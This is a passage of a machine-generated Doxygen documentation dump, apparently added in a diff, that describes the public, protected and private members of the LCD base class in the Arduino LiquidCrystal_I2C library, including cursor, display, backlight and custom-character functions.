sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'clear'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '212'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Clears the LCD. + @discussion Clears the LCD screen and positions the cursor in the upper-left + corner. + + This operation is time consuming for the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a91cba8f93c692abcddf8bc3de58d2d3a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'createChar'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'location'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charmap'; + sec-mem-param-array = '[]'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '386'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Creates a custom character for use on the LCD. + @discussion Create a custom character (glyph) for use on the LCD. + Most chipsets only support up to eight characters of 5x8 pixels. Therefore, + this methods has been limited to locations (numbered 0 to 7). + + The appearance of each custom character is specified by an array of eight + bytes, one for each row. The five least significant bits of each byte + determine the pixels in that row. To display a custom character on screen, + write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7. + + @param location[in] LCD memory location of the character to create + (0 to 7) + @param charmap[in] the bitmap array representing each row of the character. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a194814f64dfa50a90e07e0fe0d361620'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'cursor'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '282'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Display the LCD cursor. + @discussion Display the LCD cursor: an underscore (line) at the location + where the next character will be written. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a5b07cf05e8e5e7c53654f5ca0cf58b89'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'display'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '246'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns on the LCD display. + @discussion Turns on the LCD display, after it's been turned off with + noDisplay(). This will restore the text (and cursor location) that was on + the display prior to calling noDisplay(). + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aee45ad37f09312f5d9982257e2d37e68'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'home'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '225'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the cursor to the upper-left corner. + @discussion Positions the cursor in the upper-left of the LCD. + That is, use that location in outputting subsequent text to the display. + To also clear the display, use the clear() function instead. + + This operation is time consuming for the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a00bb2db1390721abc7b24ac4b8c276c8'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LCD'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '183'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract LiquidCrystal abstract constructor. + @discussion LiquidCrystal class abstract constructor needed to create + the base abstract class. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a238e9f6476dc7df64af04eb6c87f6ac7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'leftToRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '313'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Set the direction for text written to the LCD to left-to-right. + @discussion Set the direction for text written to the LCD to left-to-right. + All subsequent characters written to the display will go from left to right, + but does not affect previously-output text. + + This is the default configuration. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aad2abc99d1aca5403873579d9d72c2d4'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'moveCursorLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '334'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Moves the cursor one space to the left. + @discussion + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a09eec0c712e54b066f5894635c1fe75c'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'moveCursorRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '343'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Moves the cursor one space to the right. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a96035dde40efbf73390e00b5beb00231'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noAutoscroll'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '368'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off automatic scrolling of the LCD. + @discussion Turns off automatic scrolling of the LCD, this is the default + configuration of the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a2a331b4e142734411b2f1cfaffe7a488'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '437'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-off the LCD backlight. + @discussion Switch-off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3b755c4b397b5985752be8c30ee1a9b5'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noBlink'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '254'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off the blinking of the LCD cursor. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aec8ffaa1e69c7a6e13ac0cfbc29151d9'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noCursor'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '272'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Hides the LCD cursor. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1af3974da6d988ba2d21c25135ada12108'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noDisplay'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '235'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off the LCD display. + @discussion Turns off the LCD display, without losing the text currently + being displayed on it. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a191639be183be1476c9bfe6d455d23b2'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'off'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '455'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch off the LCD module. + @discussion Switch off the LCD module, it will switch off the LCD controller + and the backlight. This method has the same effect of calling noDisplay and + noBacklight. @see display, @see backlight +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a718da3a638deb59bd1c7a5222a52d98a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'on'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '446'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch on the LCD module. + @discussion Switch on the LCD module, it will switch on the LCD controller + and the backlight. This method has the same effect of calling display and + backlight. @see display, @see backlight +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1ac014830eadc26bfd86308ea8734f4428'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'rightToLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '326'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Set the direction for text written to the LCD to right-to-left. + @discussion Set the direction for text written to the LCD to right-to-left. + All subsequent characters written to the display will go from right to left, + but does not affect previously-output text. + + left-to-right is the default configuration. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a6f3a503055b3b8dcf0f61b2633c584f7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'scrollDisplayLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '291'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the left. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1abfc44b294772f09020bfa32af8a79571'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'scrollDisplayRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '300'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the right. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3305570d7b37eb93f2cf840263c15828'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '489'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. The behaviour + of this method is very dependent on the device. Some controllers support + dimming some don't. Please read the actual header file for each individual + device. The setBacklightPin method has to be called before setting the backlight + or the adequate backlight control constructor. + @see setBacklightPin. + + NOTE: The prefered methods to control the backlight are "backlight" and + "noBacklight". + + @param 0..255 - the value is very dependent on the LCD. However, + BACKLIGHT_OFF will be interpreted as off and BACKLIGHT_ON will drive the + backlight on. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a53f4ee9b39d9ab3d7ae4d9f8dedca3bc'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '470'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + This method is device dependent and can be programmed on each subclass. An + empty function call is provided that does nothing. + + @param value: pin associated to backlight control. + @param pol: backlight polarity control (POSITIVE, NEGATIVE) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a48220450fd152b25994eb7d0ba340e8d'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setCursor'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'col'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'row'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '419'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Position the LCD cursor. + @discussion Sets the position of the LCD cursor. Set the location at which + subsequent text written to the LCD will be displayed. + + @param col[in] LCD column + @param row[in] LCD row - line. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a2d89cc2e62f72afb5f15a7fd812900e3'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '503'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Writes to the LCD. + @discussion This method writes character to the LCD in the current cursor + position. + + This is the virtual write method, implemented in the Print class, therefore + all Print class methods will end up calling this method. + + @param value[in] Value to write to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'protected-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a88b16ea0e5c7d1cabc5007d48bcbd2b0'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_cols'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '523'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1ae47a0e2eff74431a39774b788d5761f4'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displaycontrol'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '519'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1aef093ba3f8e1016267b40ac235a0fa0f'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displayfunction'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '517'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a726b9a68d091dd8683a18e83f3a8fd3c'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displaymode'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '521'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1ac1374911fb145fea430c21092ada0c06'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_numlines'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '522'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a990338759d2abe10b0fb1743b7789566'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_polarity'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '524'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a31a0cb42497d83cdc9cb8000828f7190'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'command'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '539'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a command to the LCD. + @discussion This method sends a command to the LCD by setting the Register + select line of the LCD. + + This command shouldn't be used to drive the LCD, only to implement any other + feature that is not available on this library. + + @param value[in] Command value to send to the LCD (COMMAND, DATA or + FOUR_BITS). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a8a5b6f6f448a6ca6eeb3466c370d47ab'; + sec-mem-virt = virtual; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '555'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD. This is a pure abstract + method, therefore, it is implementation dependent of each derived class how + to physically write to the LCD. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + cp-fileline = '174'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 5; + node-label = 'LiquidCrystal_I2C_ByVac'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c___by_vac'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 6; + node-label = 'LiquidCrystal_SR'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r'; + }; + node-child = { + child-id = '2'; + relation = 